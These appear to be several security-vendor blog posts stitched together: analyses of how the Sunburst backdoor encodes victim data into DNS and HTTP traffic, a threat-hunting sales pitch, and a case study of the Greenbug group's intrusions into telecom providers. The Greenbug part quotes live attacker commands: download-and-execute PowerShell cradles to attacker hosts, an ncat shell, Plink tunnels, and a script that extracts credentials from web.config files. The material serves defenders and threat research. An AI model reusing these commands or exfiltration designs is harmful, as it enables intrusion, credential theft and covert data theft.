For each infected computer, Sunburst generates a unique ID, referred to as a userid. The userid is made up of the first active MAC address that is not the loopback address, concatenated with the Windows Domain name of the computer, and then concatenated with the Windows installation UUID, a randomly generated value at Windows installation time stored in HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. These three values are then MD5 hashed and the first 64 bits are XOR’d with the last 64 bits, resulting in a unique 64-bit userid.
Because multiple DNS requests will have to be made to transmit all payload information, the attackers require a unique ID to know from which computer the information is coming from. DNS is a distributed protocol, meaning the infected computer does not contact the attacker’s C&C server directly, but instead the DNS request is passed through multiple intermediaries before reaching the attacker DNS server. Only by including the userid within the DNS request will the attackers be able to combine the multiple requests.
The DNS lookup will be in one of the following forms:
<encoded information>.appsync-api.eu-west-1.avsvmcloud.com
<encoded information>.appsync-api.us-west-2.avsvmcloud.com
<encoded information>.appsync-api.us-east-1.avsvmcloud.com
<encoded information>.appsync-api.us-east-2.avsvmcloud.com
The encoded information will be in one of two forms providing the attackers either the Windows domain name of the infected organization or security product statuses and feedback on the infected machine.
Windows Domain Name Payload
Initially, after Sunburst checks for or bypasses security tools and products, the first DNS lookup will occur containing the infected computer’s Windows domain name or a portion thereof, encoded into the C&C domain. The Windows domain is usually a human-readable string representing the name of the organization the machine belongs to, e.g. AcmeA1Corp.
The DGA will start by prepending the aforementioned userid with a randomly chosen key byte between 0x81 and 0xFE followed by the userid XOR’d with the key byte. These nine bytes are then encoded in a fashion similar to Base64, resulting in 15 characters.
This string of characters is then followed by the Windows domain name, encoded. Because Windows domain names can be up to 253 characters long, Sunburst chooses to segment the Windows domain names into 14 character chunks preceded by the chunk number (where the first chunk number is 0). Windows domain names longer than 14 characters will thus require more than one DNS lookup to provide the entire Windows domain name.
Sunburst will also resend previously sent chunks if an error was encountered or, under certain error conditions, set the chunk number to a negative one. The segment chunk number and the Windows domain name are both encoded separately and appended to the encoded userid. These elements form the subdomain of the domain. This domain is queried via DNS, which results in this encoded information reaching the attacker’s DNS server. The attacker can then decode the information and reply with further instructions, which will be covered in a future blog.
Figure 1. Structure of Sunburst DNS lookups
Sunburst does not automatically generate multiple DNS queries in order to send the entire Windows domain name. Whether Sunburst will send the remaining 14-character segments depends on the response received from the initial DNS query. Because Sunburst was delivered via a supply chain attack, many systems that are not of interest will be infected. By encoding the first 14 characters of the Windows domain name into the first DNS query, the attackers are able to triage infections and only mount second-state attacks on systems of interest - those that have Windows domain names that match organizations they wish to target.
Security Product Status and Feedback Payload
Depending on the response to the first DNS lookup, a second DNS lookup may occur that encodes the status of installed security products on the system and information on whether the DNS communication has been successful.
First, the userid is XOR’d by the third and second bytes of a timestamp value described below in an alternating fashion before being XOR’d by a randomly chosen key byte between 0x01 and 0x7E that is then prepended to the userid. The first byte thus provides not only the key byte, but informs the attackers if the remaining content will contain the Windows domain name payload (key byte is between 0x81 and 0xFE) or the security product status and feedback payload (key byte is between 0x01 and 0x7E).
After the userid, a nibble (half a byte) is used to specify if the security payload information has content (nibble is set to 2) or is blank (nibble is set to 1). This is followed by a timestamp in UTC of when the DNS query was sent, granular to 30-minute increments. The last bit of the timestamp is set to a bit flag representing whether the previous DNS response successfully contained partial or full instructions to start the secondary HTTP communication channel. This may have been designed by the attackers as a feedback mechanism to ensure the DNS communication mechanism is working before sending the full HTTP communication channel details and, in the case of full details, a signal that the HTTP communication should have already started. After the timestamp, the security product status payload is optionally provided if select security product services were found as running.
The two bytes contain a bitmask that encodes information on whether any of the following security products were not found, or found running and/or subsequently disabled and stopped:
CrowdStrike
Carbon Black
FireEye
ESET
F-Secure
Microsoft Defender
The userid, timestamp, feedback bit, and optional security product data are then encoded into text as the subdomain of a DNS query that is sent to the attackers.
Figure 2. Structure of second DNS lookup communicating security product status
The responses to these DNS queries may then contain control information for the threat to terminate or launch a secondary HTTP communication channel, something that we plan to cover in a subsequent blog.
Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
File-based protection:
Backdoor.Sunburst
Backdoor.Sunburst!gen1
Backdoor.SuperNova
Backdoor.Teardrop
Network-based protection:
System Infected: Sunburst Malware Activity
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SolarWinds: How Sunburst Sends Data Back to the Attackers
In the fourth of a series of follow-up analysis on the SolarWinds attacks, we detail how data is sent to the attackers.
In our previous blog we described how the attackers controlled the Sunburst malware, and detailed a variety of commands that will result in data being sent to the threat actors. The next technique to discuss is how Sunburst sends this data to the attackers.
If data is being sent to the attacker as a result of a command, instead of performing a HTTP(S) GET request, something we described in our last blog, Sunburst initiates a HTTP(S) POST request.
Sunburst uses randomly generated URL paths for HTTP(S) POST requests that are different from HTTP(S) GET requests.
If the data to send is greater than 10,000 bytes, the URL path will be as follows:
/pki/crl/{0}{1}-{2}.crl
element 0 is a number between 100 and 10,000
element 1 is optionally one of the following:
-root
-cert
-universal_ca
-ca
-primary_ca
-timestamp
-global
-secureca
element 2 is the last error code
A Content-Type header is set to application/octet-stream and the POST data follows. The POST data consists of the data to send UTF8 encoded, concatenated with the last error code, concatenated with the userid, and subsequently compressed. Every byte of the compressed blob is then summed and the lowest byte of the sum value is used as a key. The compressed blob is XOR’d by the key byte and the key byte is prepended to the encrypted data.
Figure 1. Structure of Sunburst POST data
If the data to send is less than, or equal to, 10,000 bytes, the URL path will take one of two forms as follows:
/fonts/woff/{0}-{1}-{2}-webfont{3}.woff2
element 0 is a random number between 100 and 10,000
element 1 is "opensans" or “noto”
element 2 is one of the following:
bold
bolditalic
extrabold
extrabolditalic
italic
light
lightitalic
regular
semibold
semibolditalic
element 3 is the last error code
or /fonts/woff/{0}-{1}-{2}{3}.woff2
element 0 is a random number between 100 and 10,000
element 1 is one of the following:
freefont
SourceCodePro
SourceSerifPro
SourceHanSans
SourceHanSerif
element 2 is one of the following:
Bold
BoldItalic
ExtraBold
ExtraBoldItalic
Italic
Light
LightItalic
Regular
SemiBold
SemiBoldItalic
element 3 is the last error code
Further, instead of sending the encrypted data directly, as when the data is greater than 10,000 bytes, the data is steganographically sent in a faux JSON blob.
The JSON blob contains the following fields:
userId - contains the userid obfuscated into a GUID
sessionId - a randomly generated GUID per HTTP session
Timestamp - milliseconds since 1970/1/1 minus five minutes plus a random value between 0-512 with the second bit normally set to 1
Index - an incrementing value
EventType - set to Orion
EventName - set to EventManager
DurationMs - the same random value between 0-512 used in the Timestamp
Succeeded - set to true
Message - a chunk of Base64 encoded data
The encrypted data to send is broken into multiple variable sized chunks. The size of each chunk is randomly determined, but generally will go from smaller to larger. If the randomly chosen size is 0, a random chunk between 16 and 28 bytes is generated instead and the Timestamp value is AND’d with the value 18446744073709551613, which more importantly sets the second bit to 0. Each chunk is then encoded and added to the JSON blob and sent as the HTTP(S) POST data with a Content-Type header set to application/json.
Figure 2. A contrived example of a JSON file that would be sent by Sunburst
On receipt, the attacker will need to decode and concatenate all the Message chunks, skipping junk chunks where the Timestamp second bit is not set.
This blog is the final installment of our analysis series concerning the command and control (C&C) process used by the actors behind the SolarWinds attacks. Previous entries have covered how the attackers used Sunburst to disable security software and avoid detection, the malware's use of a rare domain generation algorithm (DGA) to generate domain names to contact for C&C purposes, and Sunburst's control flow and use of IP address values as commands. This final blog, detailing how the malware sends data back to the attackers, rounds out a comprehensive overview of Sunburst’s C&C processes.
Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
File-based protection:
Backdoor.Raindrop
Backdoor.Teardrop
Backdoor.Sunburst
Backdoor.Sunburst!gen1
Backdoor.SuperNova
Network-based protection:
System Infected: Sunburst Malware Activity
For the latest protection updates, please visit the Symantec Protection Bulletin.
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SolarWinds: Insights into Attacker Command and Control Process
In the third of a series of follow-up analysis on the SolarWinds attacks, we investigate how the attackers controlled the Sunburst malware.
In our most recent blog on the SolarWinds attacks, we examined the domain generation algorithm (DGA) used to initiate contact with the attackers’ command and control (C&C) servers. The control flow, what happens after that contact is made, is also noteworthy.
The control flow of Sunburst varies depending on commands received from the attacker. However, the general control flow can be reconstructed in order to understand how communications would have progressed on machines that were of interest to the attackers.
As described in our previous blog, two types of DNS requests are used for initial communications, and both receive DNS replies. The attackers use two fields in the DNS replies: “A records” for control flow and CNAME to hold data on a secondary C&C server.
IP addresses as commands
Normally, when querying DNS, a hostname string is provided to be translated into a numeric IP address, e.g., google.com may translate into 142.250.72.238. The IP address is held in the A record of the response. Sunburst parses the A record for IP addresses, but they are not used as IP addresses at all, but instead are actually triggers for different malware behavior. Instead of the attackers selecting random IP addresses to trigger different behaviors, they have selected IP address ranges belonging to Google, Amazon, and Microsoft. These are possibly chosen in order to reduce the chances of detection. Again, these IPs are not used as IP addresses in any way and the actual computer systems with these IP addresses are not contacted by the malware.
The IP address value received in the DNS reply represents one of five behaviors depending on the current state:
Continue sending additional Windows domain name chunks
Send product security status information
Launch a secondary C&C channel
Clean up and exit
Reset state as if executing for the first time
For a typical infection, Sunburst will first send to the C&C server the first 14 characters of the Windows domain name. This will continue for each 14 character chunk, until the entire Windows Domain name is sent.
Next, the attackers will instruct Sunburst to send the current security product statuses and then send information enabling Sunburst to launch a more robust secondary HTTP-based C&C.
Figure 1. Example of C&C control flow
Within any DNS reply, the attackers can also instead instruct Sunburst to restore security product service registry keys that were previously disabled back to their believed default settings and quit or reset the internal state as if it is a fresh infection.
Figure 2. IP address ranges and the behaviors they cause
In addition, to facilitate lab environment and sandbox avoidance, if the DNS requests result in a private range IP address, including 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 224.0.0.0/4, fc00::/7, fec0::/10, ff00::/8, Sunburst will also clean up and exit.
Second stage C&C
Victims that were of interest to the attackers would have reached the secondary C&C stage. In this case, the DNS reply would contain a hostname in the CNAME record to be used as a HTTP C&C channel. The CNAME value is checked to see if it starts with http:// or https:// and is prepended with https:// otherwise.
Next, Sunburst will perform repeated HTTP GET requests to receive commands, sleeping a variable amount of time between requests. The path portion of the URL always starts with /swip/upd/ followed by randomly selected URL patterns, in the following order.
Optionally, one or more of the following:
SolarWinds
.CortexPlugin
.Orion
Optionally, followed by one of the following:
.Wireless
.UI
.Widgets
.NPM
.Apollo
.CloudMonitoring
If no previous string has been selected, one of the following or optionally, one of the following if a previous string has been selected:
.Nodes
.Volumes
.Interfaces
.Components
Optionally, followed by:
-<number>.<number>.<error or success code of previous request>
Followed by:
.xml
Also, if the first character in the path is a dot (.), the dot is removed. For example, the following are example URLs that could be used:
https[:]//infinitysoftwares.com/swip/upd/SolarWinds.CortexPlugin.Nodes-5.2.1.xml
https[:]//infinitysoftwares.com/swip/upd/Orion.Wireless.UI-3.1.0.xml
https[:]//infinitysoftwares.com/swip/upd/Nodes-1.2.0.xml
The final digit before the .xml extension is not a random character, but represents the return code for previous command requests – typically 0 means success and 1 or other values mean error. For the first 16 requests, a different randomly generated path is used each time, but after that it may repeat random generations that it used previously. If data is being sent to the attacker as a result of a command (e.g. sending system information), the path construction will be different and will be covered in a future blog.
Sunburst also adds the custom header “If-None-Match:” set to the previously described 8-byte userid XOR’d by a randomly generated 8-byte sequence that is appended and then converted into lowercase ASCII hex.
Figure 3. Sunburst custom header
After the HTTP GET request is made, Sunburst checks for a valid response from the attacker. The response uses steganography and is a faux, but convincing XML page of data, where only certain fields are utilized by Sunburst.
The faux XML data is searched for a sequence of:
36 hexadecimal characters including dashes
32 hexadecimal characters
16 hexadecimal characters
These sequences are concatenated together with non-hexadecimal characters removed. The first DWORD (4 bytes) of the sequence represents the size of the remaining data, which is validated and then the next byte is an XOR key. The rest of the data is then XOR decrypted by the key byte and then decompressed. After being decompressed, the first character is a number that specifies the action to perform followed by the number of included arguments in the following data for the command:
Figure 4. A contrived example of data received by Sunburst that is decoded to extract the command
The command number can instruct Sunburst to perform the following behaviors:
Figure 5. Command numbers and corresponding behaviors
If no data needs to be sent to the attacker, the above GET request with the return code encoded in the URL filename is sent.
If data needs to be sent to the attacker as a result of these commands (e.g. sending system information), the data will be included in the next regular HTTP(S) communication as a POST request or a HEAD request if some error occurred where the data is missing. Details on each of these behaviors and how data is uploaded to the attacker will be covered in an upcoming blog.
Protection/Mitigation
Tools associated with these attacks will be detected and blocked on machines running Symantec Endpoint products.
File-based protection:
Backdoor.Sunburst
Backdoor.Sunburst!gen1
Backdoor.SuperNova
Backdoor.Teardrop
Network-based protection:
System Infected: Sunburst Malware Activity
For the latest protection updates, please visit the Symantec Protection Bulletin.
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Sometimes Threat Hunting Isn’t Enough
Proactively searching for threats is critical, but organizations trying to stop advanced threats need to understand that threat hunting is only one piece of the protection profile
All too often the security industry gets caught up in marketing buzzwords, causing a lopsided focus on one part of a much larger conversation.
One example of this has been the emphasis on threat hunting, the proactive searching of threat indicators within an environment. Security analysts acquire the latest indicators of compromise (IoCs) and tactics, techniques, and procedures (TTPs) and search for them within their environment. If found, odds are high that an attack either is underway – or has already occurred - and so more investigation would be needed for context and to gain a better understanding of the full scope and scale of the infiltration.
I agree that even though threat hunting seems like an overused marketing phrase, it is a critical part of a threat detection strategy. Yet, it just can’t be the only one. Many organizations rely too heavily on threat hunting as they don’t want to or can’t invest in the required infrastructure, resources, and expertise to continually analyze all activity for possible threats.
This leads to an incomplete and irregular picture of the risks they face. In fact, that singular reliance on threat hunting alone means that many types of attacks will get missed if you’re not specifically looking for them. The upshot: old attacks and new ones slip through.
You need to make sure that threat hunting is one piece of the protection profile. The old concept of depth in defense still applies, threat hunting is only one layer, you need other layers to ensure you are finding the needle in the needlestack.
I explained in an earlier blog that the larger the delta between the time an incident gets detected and the time to call for assistance, the greater your lost opportunity. According to Ponemon’s 2018 “Cost of a Data Breach” report, the average time to identify and contain a threat was 197 days and 69 days, respectively. Tellingly, it also found that companies which contained breaches in less than 30 days saved over $1 million versus those that took longer to resolve the attack. Time really is of the essence and before you can respond to a threat you must first detect it.
Even though threat hunting seems like an overused marketing phrase, it is a critical part of a threat detection strategy. Yet, it just can’t be the only one.
Threat hunting focuses on the specific Indicators of Compromise (IoCs) and tools techniques procedures (TTPs) that the analyst is searching for at a specific point in time. But what about all the other indicators that are being missed or ignored?
The analyst wouldn’t find them if they aren’t specifically searching for them, however continuous advanced threat monitoring using big data analytics to correlate all security logs and alerts with global threat intelligence and large security data lakes will greatly improve the ability to detect advanced and stealth attacks. These are missed as a result of not knowing what to search for and not having the intelligence or the training to find them. It’s like saying, let’s find a criminal but we have no idea what crime they are committing or how they are trying to commit it. You need that information to start hunting for them, and even then, you need the experience on how to conduct a search given the information and intelligence you now possess.
To be clear, the human side of the investigation is critical. There is no better computer for detecting, recognizing and responding to threats than the human mind. Giving that human the advantage of having a correlated set of events presented for them to apply their knowledge is a truly powerful combination.
There is only one company today that has the ability to integrate its own products and services into a cohesive solution that makes good on the concepts above, Symantec.
Symantec Managed Endpoint Detection and Response (MEDR) provides the managed threat hunting and continuous monitoring that incorporates the IoCs and TTPs into our SOC Technology Platform where they are correlated with our Global Intelligence Network and Security Intelligence Data Lake using our big data analytics to find the sharpest needle in the needle stack (enough buzzwords in that sentence for ya?)
Combined with our ability to ingest all your network traffic from Security Devices, AD, Cloud, Network, IoT and other devices, we have the most comprehensive view into your environment in the industry. We find what others can’t and then perform a triage investigation by remotely connecting to your environment to pull forensic information from endpoints. In that way, we will be able to confirm the findings and take remediation actions on your behalf to limit or prevent impact from the attack.
Symantec Managed Endpoint Detection and Response
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Sophisticated Espionage Group Turns Attention to Telecom Providers in South Asia
Greenbug is using off-the-shelf and living-off-the-land tools in an information-gathering campaign targeting multiple telecoms organizations.
The Greenbug espionage group is actively targeting telecommunications companies in South Asia, with activity seen as recently as April 2020.
There are indications that at least one of the companies was first targeted as early as April 2019.
Email appears to be the initial infection vector used by the group. Greenbug is using a mixture of off-the-shelf tools and living-off-the-land techniques in these attacks. It appears the group is interested in gaining access to database servers; we see it stealing credentials then testing connectivity to these servers using the stolen credentials.
Greenbug is believed to likely be based out of Iran, and there has been speculation in the past that it has connections to the destructive Shamoon group, which has carried out disk-wiping attacks against organizations in Saudi Arabia. The Shamoon attacks have been extensively covered, but it was never clear how the attackers stole the credentials that allowed them to introduce their destructive malware onto victim systems. Research by Symantec, a division of Broadcom (NASDAQ: AVGO), in 2017 found evidence that Greenbug was on an organization’s network prior to a wiping attack that involved W32.Disttrack.B (Shamoon’s malware). This link was never definitively established, but cooperation between the two groups is considered a possibility.
Much of the activity we saw in this attack campaign is in line with activity we have seen from Greenbug in the past, including the use of email as an initial infection vector, the use of publicly available hack tools like Mimikatz and Plink, and the apparent focus on collecting credentials and maintaining a persistent, low-profile presence on victim networks.
Infection vector
Across multiple victim machines, a file named proposal_pakistan110.chm:error.html was executed via an internet browser. We also see the same file being opened by archiver tools. While we were unable to retrieve the file for analysis, the same technique has been leveraged by Greenbug in the past, as early as 2016. In these earlier attacks, emails were sent to targets containing a link to a likely compromised site, which hosted an archive file. This archive contains a malicious CHM file (compiled HTML Help file), which includes an ADS (alternative data steam) to hide its payload, which is installed when executed. This file usually also contains a decoy PDF file containing an error message that says the file could not be opened correctly.
We have also seen similarly named files used in other organizations in the past to drop Trojan.Ismdoor, Greenbug’s custom malware.
Around the same time as we saw this file, a file called GRUNTStager.hta was also executed. Symantec believes the attackers used the publically available Covenant post-exploitation framework in order to gain an initial foothold in their target organizations.
Covenant is a publicly available hack tool that is described as “a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform.” It is described as being for use by “red teams,” but is also open to being abused by malicious actors.
Case study: Six-month intrusion
Greenbug was present on the systems of one organization from October 2019 to April 2020. It appeared to be interested in gaining access to the organization’s database server. The attackers were observed executing various PowerShell commands on the victim system.
The first activity was seen on October 11, 2019, when a malicious PowerShell command was executed to install a CobaltStrike Beacon module to download the next stage payload.
We were able to extract two command and control (C&C) server addresses from the PowerShell command.
Initially, the attackers leveraged this access to execute PowerShell to determine the version of PowerShell installed via $PSVersionTable. After this, we observed the attackers proceed to attempt to download a malicious file hosted on the same previously mentioned C&C server.
PowerShell.exe -nop -w hidden -c $L=new-object net.webclient;$L.proxy=[Net.WebRequest]::GetSystemWebProxy();$L.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $L.downloadstring('http://95[.]179.177.157:445/0Zu5WpWN');
This command was executed several times but it is unclear if the attackers were successful. Approximately an hour later, the attackers were also observed attempting to perform a download to CSIDL_APPDATA\a8f4.exe via the bitsadmin utility
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
The BITS administration utility can be used to download or upload jobs to be executed. It is a legitimate tool that we commonly see abused by malicious actors. The attackers used this tool to download additional malicious tools to the compromised machine.
A short time later, the attackers executed several tools from CSIDL_SYSTEM86\[REDACTED] directory:
Hash Directory Tool
2a3f36c849d9fbfe510c00ac4aca1750452cd8f6d8b1bc234d22bc0c40ea1613 csidl_system_drive\[REDACTED] revshell.exe
9809aeb6fd388db9ba60843d5a8489fea268ba30e3935cb142ed914d49c79ac5 csidl_system_drive\[REDACTED] printers.exe
3c6bc3294a0b4b6e95f747ec847660ce22c5c4eee2681d02cc63f2a88d2d0b86 csidl_system_drive\[REDACTED] msf.exe
The attackers were then seen launching PowerShell and attempting to execute a PowerShell script called msf.ps1.
PowerShell.exe -ExecutionPolicy Bypass -File CSIDL_SYSTEM_DRIVE\[REDACTED]\msf.ps1
This command was executed several times and is likely used to install a Metasploit payload to retain access to the compromised machine. That is the last activity seen on that day.
No further activity was observed until February 6, 2020, when a suspicious PowerShell command was executed. The PowerShell command follows the execution of the w3wp.exe process – an application that is used to serve requests to a web application. This may indicate that the attackers have used a webshell on the compromised machine.
The following is a copy of the PowerShell command executed by the attackers:
$ErrorActionPreference = 'SilentlyContinue';$path="C:\[REDACTED]\";Foreach ($file in (get-childitem $path -Filter web.config -Recurse)) {; Try { $xml = [xml](get-content $file.FullName) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };if ($connstrings.ConnectionStrings.encrypteddata.cipherdata.ciphervalue -ne $null){;$tempdir = (Get-Date).Ticks;new-item $env:temp\$tempdir -ItemType directory | out-null; copy-item $file.FullName $env:temp\$tempdir;$aspnet_regiis = (get-childitem $env:windir\microsoft.net\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName + ' -pdf ""connectionStrings"" ' + $env:temp + '\' + $tempdir;Invoke-Expression $aspnet_regiis; Try { $xml = [xml](get-content $env:temp\$tempdir\$file) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };remove-item $env:temp\$tempdir -recurse};Foreach ($_ in $connstrings.ConnectionStrings.add) { if ($_.connectionString -ne $NULL) { write-host ""$file.Fullname --- $_.connectionString""} } };
This command is used to search for files similar to web.config. For each file found, it extracts username and password information where possible, decrypting it using the aspnet_regiis.exe utility. These credentials may be used to access organizational resources such as SQL servers.
Further activity was seen on February 12 and February 14. On February 12, the attackers returned and executed a tool: pls.exe. An hour later, the attackers bound cmd.exe to a listening port using netcat with the following command:
CSIDL_SYSTEM_DRIVE\[REDACTED]\infopagesbackup\ncat.exe [REDACTED] 8989 -e cmd.exe
The same command was issued again about 20 minutes later.
Two days later, at 7.29am local-time, the attackers returned and connected to the listening port, launching cmd.exe.
They issued the following commands:
Command Description
CSIDL_SYSTEM\cmd.exe" /c net user" List all available local user accounts and information
PowerShell -c Get-PSDrive -PSProvider \" FileSystem\""""""" List all available drives on the filesystem and related information (e.g. available space, location etc.)
The next day (February 15) the attackers returned to the command prompt and issued a command to add a user and then checked that the user was added. No further activity was observed until March 4, when a PowerShell command was launched at 6.30pm local time. A WMI command was also observed being executed and used to search for a specific account. Shortly after this, the well-known credential-stealing tool Mimikatz was executed from %USERPROFILE%\documents\x64.
On March 11, the attackers attempted to connect to a database server via PowerShell, presumably using credentials they had stolen. The attackers also used an SQL command to retrieve the version information of the database server, presumably to test the credentials and connectivity.
PowerShell -C
$conn=new-object System.Data.SqlClient.SQLConnection(" ""Data
Source=[REDACTED];User [REDACTED] { $conn.Open(); }Catch { continue;
}$cmd = new-object System.Data.SqlClient.SqlCommand(" ""select
@@version;" "", $conn);$ds=New-Object
system.Data.DataSet;$da=New-Object
system.Data.SqlClient.SqlDataAdapter($cmd); [void]$da.fill($ds);$ds.Tables[0];$conn.Close();""
Further activity was seen in April. On April 8, suspicious PowerShell commands were observed attempting to download tools from a remote host.
PowerShell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://185.205.210.46:1003/iO0RBYy3O');
PowerShell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://185.205.210.46:1131/t8daWgy9j13');
That was the only activity seen on April 8, then on April 13 PowerShell was launched and the following commands were observed being executed:
Command Description
PowerShell.exe" -noninteractive -executionpolicy bypass whoami" Check the account name of the current user executing the command
PowerShell.exe" -noninteractive -executionpolicy bypass netstat -a" Network routing information
Next, PowerShell was used to connect to a database server and check the version information, likely to confirm working credentials. This is similar to the previous PowerShell command observed with the exception of a different database server IP address.
Finally, the attackers used PowerShell to view the current ARP table (IPs and hostname of machines that have recently been communicated with) via an arp -a command. That is the last activity we observed on this machine.
A number of suspicious files were found on this machine (see IoCs). The files include the Covenant tool and Mimikatz, as already mentioned, as well as Cobalt Strike, an off-the-shelf tool that can be used to load shellcode onto victim machines, and multiple webshells.
Other machines on the same network
We saw suspicious activity on various machines on this same victim’s network. The attackers targeted several other users within the organization with the same file, proposal_pakistan110.chm:error.html, which was opened by an archiver tool and, in one instance, via the Microsoft Edge browser. Following this, we observed a backdoor being executed on the machine, alongside additional tools downloaded to the %APPDATA% directory from the attacker’s infrastructure.
Hash Directory Tool
450ebd66ba67bb46bf18d122823ff07ef4a7b11afe63b6f269aec9236a1790cd CSIDL_COMMON_APPDATA\oracle local.exe
ee32bde60d1175709fde6869daf9c63cd3227155e37f06d45a27a2f45818a3dc CSIDL_COMMON_APPDATA\adobe adobe.exe
071e20a982ea6b8f9d482685010be7aaf036401ea45e2977aca867cedcdb0217 c:\programdata\oracle java.ee
Tunnels back to attackers
On one machine in this organization, we saw some suspicious PowerShell commands executed on December 9. One of the files executed by PowerShell, comms.exe, is Plink. A second similar command used the Bitvise command line tunneling client. Both tools are used to set up a tunnel to attacker-controlled infrastructure to allow Terminal Services and RDP access to an internal machine.
"CSIDL_COMMON_APPDATA\comms\comms.exe" apps.vvvnews.com -P <?,?> -l <?,?> -pw <?,?> -proxytype http_basic –proxyip [REDACTED] -proxyport 8080 -proxyuser [REDACTED].haq -proxypass [REDACTED] -C -R [REDACTED]:4015:[REDACTED]:1540
"CSIDL_COMMON_APPDATA\comms\comms.exe" [REDACTED] -pw=[REDACTED] -s2c=[REDACTED] 1819 [REDACTED] 3389 -proxy=y -proxyType=HTTP -proxyServer=[REDACTED] -proxyPort=8080 -proxyUsername=[REDACTED]\[REDACTED].haq -proxyPassword=<?,?>
Tools such as Plink and Bitvise are legitimate sysadmin tools, but have been seen being exploited by malicious actors before, including by Iranian actors earlier this year.
Plink was also seen on a second machine in this organization, which appears to have been compromised from November 2019 up to April 2020. The first suspicious activity on this machine was seen on November 13, when PowerShell Remoting was enabled on the machine to allow it to receive PowerShell commands.
A PowerShell command was used to download a file from attacker controlled infrastructure and launch it with a specific argument.
(New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews.com:8080/Yft.dat', 'C:\Programdata\VMware\Vmware.exe');
start-process C:\Programdata\VMware\Vmware.exe -arg 'L3NlcnZlcj12c2llZ3J1LmNvbSAvaWQ9NDE=';
The argument decodes to /server=vsiegru.com /id=41. Shortly after this the Plink utility was executed to establish a connection to the victim network. A second PowerShell command was then executed as follows:
Del -force C:\Programdata\Vmware\Vmware.exe;
(New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews.com:8080/Yf.dat', 'C:\Programdata\Nt.dat');
move C:\Programdata\Nt.dat C:\Programdata\Vmware\VMware.exe -force;
cmd.exe /c sc create "VMwareUpdate" binpath= "C:\Programdata\Vmware\VMware.exe L3NlcnZlcj1rb3BpbGthb3J1a292LmNvbSAvaWQ9NDkgL3Byb3h5PXllcyAvcHJveHl1cmw…[REDACTED]…BUTUxcamF2ZWQubmFiaSAvcGFzc3dvcmQ9cHRtbEAyMjMz" displayname= "VMware Update Service" start= auto;
start-service VMwareUpdate;
Exit;
The encoded argument decodes to the following:
/server=kopilkaorukov.com /id=49 /proxy=yes /proxyurl=http://[REDACTED]:8080 /credential=yes /username=[REDACTED]\[REDACTED] /password=[REDACTED]
The attackers were then seen adding a user to the administrators group on this machine. Two further PowerShell commands were executed on the machine about a week later, on November 16.
The first decodes to the following:
iex ((New-Object Net.WebClient).DownloadString('http://apps[.]vvvnews.com:8080/Default.htt'))
As the attackers have set up a tunnel, using the Plink tool, all connections appear to be routing to internal machine IP addresses. This was likely done as a means to evade detection.
Activity targeting telecoms
Greenbug’s activity in this campaign seems to make it clear that its main focus with these victims is to steal credentials, and to maintain a low profile on the victim’s network so the attackers can remain on it for a substantial period of time. This is typical of the activity we have seen in Greenbug victims in the past, with maintaining persistence on a victim network appearing to be one of the group’s primary goals. Greenbug has also been observed targeting telecoms companies in this same region in previous attack campaigns.
The setting up of tunnels shows how important keeping a low-profile is for this group. Its focus on stealing credentials, and on establishing connections with database servers, shows that it is aiming to achieve a high level of access to a victim’s network - access that if exploited could cause havoc on a compromised network very quickly. This level of access, if leveraged by actors using disruptive malware or ransomware, could shut down an organization’s entire network very quickly.
Previous victims of Greenbug have included organizations in the aviation, government, investment, and education sectors, as well as the telecoms sector, with attacks against telecoms organizations in the Middle East in 2017. In 2019, we observed 18 nation-state backed groups targeting the telecoms sector worldwide, so it seems to be an area of interest for sophisticated actors recently.
It is probably not too hard to understand why the telecommunications industry, made up of phone providers and internet service providers (ISPs), is attractive to APT groups, whose main motivation is most often intelligence gathering. The access to calls, communications logs, and messages offered by telecoms companies makes them hugely valuable targets for these attackers.
We can only speculate about Greenbug’s motives for targeting these specific telecoms companies, but it is clear that comprehensive and persistent access to victim networks remains the key priority for this group.
Protection
Symantec products protect against threats discussed in this blog with the following detections:
Trojan.Ismdoor
Trojan.Ismdoor!gen1
System Infected: Trojan.Ismdoor Activity
Indicators of Compromise (IoCs)
Type Value Description
Domain apps.vvvnews.com C2
Domain vsiegru.com C2
Domain kopilkaorukov.com C2
Filename GruntStager.hta Covenant stager
Hash 2a3f36c849d9fbfe510c00ac4aca1750452cd8f6d8b1bc234d22bc0c40ea1613 Reverse Shell
Hash 9809aeb6fd388db9ba60843d5a8489fea268ba30e3935cb142ed914d49c79ac5 Infostealer
Hash 3c6bc3294a0b4b6e95f747ec847660ce22c5c4eee2681d02cc63f2a88d2d0b86 Backdoor
Hash ece23612029589623e0ae27da942440a9b0a9cd4f9681ec866613e64a247969d Mimikatz
Hash b8797931ad99b983239980359ef0ae132615ebedbf6fcb0c0e9979404b4a02a8 Webshell
Hash 9de28b94aa3f1a849221cf74224554b41a77473c694cadf3f2526ab06480eb85 Webshell
Hash b51eca570abad9341a08ae4d153d2c64827db876ee0491eb941d7e9a48d43554 Webshell
Hash 16e1e886576d0c70af0f96e3ccedfd2e72b8b7640f817c08a82b95ff5d4b1218 Webshell
Hash abb3ddc945d147a4ed435b71490764bc4a2860f4ad264052f407357911bd6746 Webshell
Hash 6cb51c7011f27418c772124d4433350a534061f5732c1331f5483d62b42402f7 Webshell
Hash 9bf8121e0f3461412dde107c4d1ceb2ed18ec0741f458956830e038fd1be6d44 Webshell
Hash 75cee6136011516dfe7bd9e45b25c2cf5d9af149a81fff0b8b3ab157a8cbf321 Covenant stager
